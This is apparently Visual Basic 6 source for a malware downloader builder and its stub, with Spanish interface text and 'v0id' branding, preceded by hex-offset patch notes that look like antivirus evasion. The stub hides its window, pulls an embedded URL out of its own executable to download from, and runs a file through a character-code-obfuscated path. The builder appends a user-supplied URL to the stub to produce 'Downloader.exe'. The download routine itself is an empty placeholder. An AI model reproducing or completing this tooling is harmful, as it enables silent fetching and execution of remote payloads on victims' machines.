Offset:5900\ HexByte= 90Offset:18310\ HexByte= 44
Option ExplicitSub xxxxxx(Url As String)End SubPrivate Sub Form_Load()Form1.Visible = FalseDim misDatos As String, aBajar() As StringDim A As StringDim B As StringDim C As StringDim d As StringDim f As StringA = App.PathB = "\"C = App.EXENamed = ".exe"f = A & B & C & dOpen f For Binary As #1misDatos = String(FileLen(f), " ")Get #1, , misDatosClose #1aBajar() = Split(misDatos, "byv0id")Call xxxxxx(aBajar(1))Shell (Chr$(67) & Chr$(58) & Chr$(92) & Chr$(117) & Chr$(112) & Chr$(120) & Chr$(50) & Chr$(46) & Chr$(101) & Chr$(120) _ & Chr$(101))EndEnd Sub
Private Sub Command1_Click()If Text1.Text = "Link a descargar!" ThenMsgBox "Ingresa una URL correcta!", vbCritical, "v0id"GoTo finalEnd IfIf Text1.Text = vbNullString ThenMsgBox "Ingresa una URL correcta!", vbCritical, "v0id"GoTo finalEnd IfDim sStub As StringOpen App.Path & "\a.exe" For Binary As #1sStub = Space(LOF(1))Get #1, , sStubClose #1Dim sURL As StringsURL = Text1.TextDim sEncryptado As StringOpen App.Path & "\Downloader.exe" For Binary As #1sEncryptado = sStub & "byv0id" & sURL & "byv0id"Put #1, , sEncryptadoClose #1MsgBox "Downloader Generado!", vbInformation, "v0id"final:End Sub